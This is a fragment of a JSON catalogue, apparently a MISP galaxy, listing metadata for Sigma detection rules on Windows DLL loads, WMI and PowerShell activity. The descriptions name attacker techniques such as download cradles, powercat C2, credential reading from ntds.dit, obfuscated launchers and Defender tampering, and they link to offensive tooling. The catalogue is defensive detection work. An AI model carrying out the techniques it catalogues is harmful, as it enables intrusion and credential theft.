        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f",
      "value": "Microsoft Office DLL Sideload"
    },
    {
      "description": "Detects potential DLL sideloading of \"libcurl.dll\" by the \"gup.exe\" process from an uncommon location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_gup_libcurl.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_gup_libcurl.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e49b5745-1064-4ac1-9a2e-f687bc2dd37e",
      "value": "Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE"
    },
    {
      "description": "Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.",
      "meta": {
        "author": "Antonlovesdnb",
        "creation_date": "2020/02/19",
        "falsepositive": [
          "Legitimate macro usage. Add the appropriate filter according to your environment"
        ],
        "filename": "image_load_office_vbadll_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_vbadll_load.yml"
        ],
        "tags": [
          "attack.execution",
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      "value": "VBA DLL Loaded Via Office Application"
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_chrome_frame_helper.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/entries/3rd_party/google/chrome_frame_helper.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_chrome_frame_helper.yml"
        ],
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      "value": "Potential Chrome Frame Helper DLL Sideloading"
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      "description": "Detects CLR DLL being loaded by an Office Product",
      "meta": {
        "author": "Antonlovesdnb",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_office_dotnet_clr_dll_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16",
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        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
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        "falsepositive": [
          "Other legitimate processes loading those DLLs in your environment."
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        "level": "medium",
        "logsource.category": "image_load",
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          "https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password",
          "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa",
          "https://github.com/S12cybersecurity/RDPCredentialStealer",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_credui_uncommon_process_load.yml"
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          "attack.credential_access",
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      "description": "Detects suspicious encoded payloads in WMI Event Consumers",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "sysmon_wmi_susp_encoded_scripts.yml",
        "level": "high",
        "logsource.category": "wmi_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/RiccardoAncarani/LiquidSnake",
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        ],
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          "attack.execution",
          "attack.t1047",
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          "attack.t1546.003"
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      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
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      "description": "Detects creation of WMI event subscription persistence method",
      "meta": {
        "author": "Tom Ueltschi (@c_APT_ure)",
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        "logsource.category": "wmi_event",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml"
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      "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers",
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        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro",
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        "falsepositive": [
          "Legitimate administrative scripts"
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        "level": "high",
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        "refs": [
          "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19",
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      "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_powercat.yml",
        "level": "medium",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md",
          "https://nmap.org/ncat/",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml"
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          "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
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    {
      "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/06/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_wsman_com_provider_no_powershell.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/",
          "https://twitter.com/chadtilbury/status/1275851297770610688",
          "https://github.com/bohops/WSMan-WinRM",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml"
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      "related": [
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          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
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      "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7",
      "value": "Suspicious Non PowerShell WSMAN COM Provider"
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      "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_susp_get_nettcpconnection.yml",
        "level": "low",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell",
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      "description": "Detects remote PowerShell sessions",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
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        "level": "high",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml"
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          "attack.execution",
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      "description": "Detects PowerShell called from an executable by the version mismatch method",
      "meta": {
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          "Unknown"
        ],
        "filename": "posh_pc_exe_calling_ps.yml",
        "level": "high",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=2921",
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        "author": "Roberto Rodriguez @Cyb3rWard0g",
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        "level": "medium",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190815-RemoteServiceInstallation/notebook.html",
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      "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Lee Holmes (idea), Harish Segar (improvements)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_downgrade_attack.yml",
        "level": "medium",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
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      "description": "Shadow Copies deletion using operating systems utilities via PowerShell",
      "meta": {
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        "level": "high",
        "logsource.category": "ps_classic_start",
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      "meta": {
        "author": "Teymur Kheirkhabarov, Harish Segar (rule)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_xor_commandline.yml",
        "level": "medium",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46",
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        ],
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      "description": "Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
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          "Legitimate PowerShell scripts that disable Windows Defender for troubleshooting purposes. Must be investigated."
        ],
        "filename": "posh_pc_tamper_windows_defender_set_mp.yml",
        "level": "high",
        "logsource.category": "ps_classic_provider_start",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
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        ],
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    {
      "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration",
      "meta": {
        "author": "frack113",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_susp_zip_compress.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1074.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "71ff406e-b633-4989-96ec-bc49d825a412",
      "value": "Zip A Folder With PowerShell For Staging In Temp - PowerShell"
    },
    {
      "description": "Detects suspicious PowerShell download command",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "PowerShell scripts that download content from the Internet"
        ],
        "filename": "posh_pc_susp_download.yml",
        "level": "medium",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d",
      "value": "Suspicious PowerShell Download"
    },
    {
      "description": "Detects renamed powershell",
      "meta": {
        "author": "Harish Segar, frack113",
        "creation_date": "2020/06/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_renamed_powershell.yml",
        "level": "low",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592",
      "value": "Renamed Powershell Under Powershell Channel"
    },
    {
      "description": "Detects PowerShell module creation where the module Contents are set to \"function Get-VMRemoteFXPhysicalVideoAdapter\". This could be a sign of potential abuse of  the \"RemoteFXvGPUDisablement.exe\" binary which is known to be vulnerable to module load-order hijacking.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/07/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_remotefxvgpudisablement_abuse.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remotefxvgpudisablement_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25",
      "value": "Potential RemoteFXvGPUDisablement.EXE Abuse"
    },
    {
      "description": "Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.",
      "meta": {
        "author": "Sai Prashanth Pulisetti @pulisettis, Aishwarya Singam",
        "creation_date": "2022/12/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pc_abuse_nslookup_with_dns_records.yml",
        "level": "medium",
        "logsource.category": "ps_classic_start",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Alh4zr3d/status/1566489367232651264",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_abuse_nslookup_with_dns_records.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "999bff6d-dc15-44c9-9f5c-e1051bfc86e1",
      "value": "Nslookup PowerShell Download Cradle"
    },
    {
      "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/11",
        "falsepositive": [
          "Programs using PowerShell directly without invocation of a dedicated interpreter",
          "MSP Detection Searcher",
          "Citrix ConfigSync.ps1"
        ],
        "filename": "posh_pm_alternate_powershell_hosts.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc",
      "value": "Alternate PowerShell Hosts - PowerShell Module"
    },
    {
      "description": "Detects Obfuscated use of stdin to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_stdin.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3",
      "value": "Invoke-Obfuscation STDIN+ Launcher - PowerShell Module"
    },
    {
      "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads\nthat often undergo minimal changes by attackers due to bad opsec.\n",
      "meta": {
        "author": "ok @securonix invrep_de, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments."
        ],
        "filename": "posh_pm_bad_opsec_artifacts.yml",
        "level": "critical",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/",
          "https://www.mdeditor.tw/pl/pgRt",
          "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86",
      "value": "Bad Opsec Powershell Code Artifacts"
    },
    {
      "description": "Detects usage of the \"Import-Module\" cmdlet to load the \"Microsoft.ActiveDirectory.Management.dl\" DLL. Which is often used by attackers to perform AD enumeration.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate use of the library for administrative activity"
        ],
        "filename": "posh_pm_active_directory_module_dll_import.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/samratashok/ADModule",
          "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges",
          "https://twitter.com/cyb3rops/status/1617108657166061568?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_active_directory_module_dll_import.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.discovery",
          "attack.impact"
        ]
      },
      "uuid": "74176142-4684-4d8a-8b0a-713257e7df8e",
      "value": "Potential Active Directory Enumeration Using AD Module - PsModule"
    },
    {
      "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_get_clipboard.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/16",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1115"
        ]
      },
      "related": [
        {
          "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78",
      "value": "PowerShell Get Clipboard"
    },
    {
      "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_decompress_commands.yml",
        "level": "informational",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/8",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5",
      "value": "PowerShell Decompress Commands"
    },
    {
      "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/15",
        "falsepositive": [
          "Administrator script"
        ],
        "filename": "posh_pm_susp_ad_group_reco.yml",
        "level": "low",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1069.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4",
      "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule"
    },
    {
      "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd",
      "value": "Invoke-Obfuscation Via Use Clip - PowerShell Module"
    },
    {
      "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_via_var.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6",
      "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module"
    },
    {
      "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/12",
        "falsepositive": [
          "Administrator script"
        ],
        "filename": "posh_pm_susp_local_group_reco.yml",
        "level": "low",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1069.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc",
      "value": "Suspicious Get Local Groups Information"
    },
    {
      "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_get_addbaccount.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md",
          "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b140afd9-474b-4072-958e-2ebb435abd68",
      "value": "Suspicious Get-ADDBAccount Usage"
    },
    {
      "description": "Detects keywords that could indicate clearing PowerShell history",
      "meta": {
        "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_pm_clear_powershell_history.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2",
      "value": "Clear PowerShell History - PowerShell Module"
    },
    {
      "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below",
      "meta": {
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        ],
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        ],
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          "attack.defense_evasion",
          "attack.t1027",
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      "uuid": "2f211361-7dce-442d-b78a-c04039677378",
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    },
    {
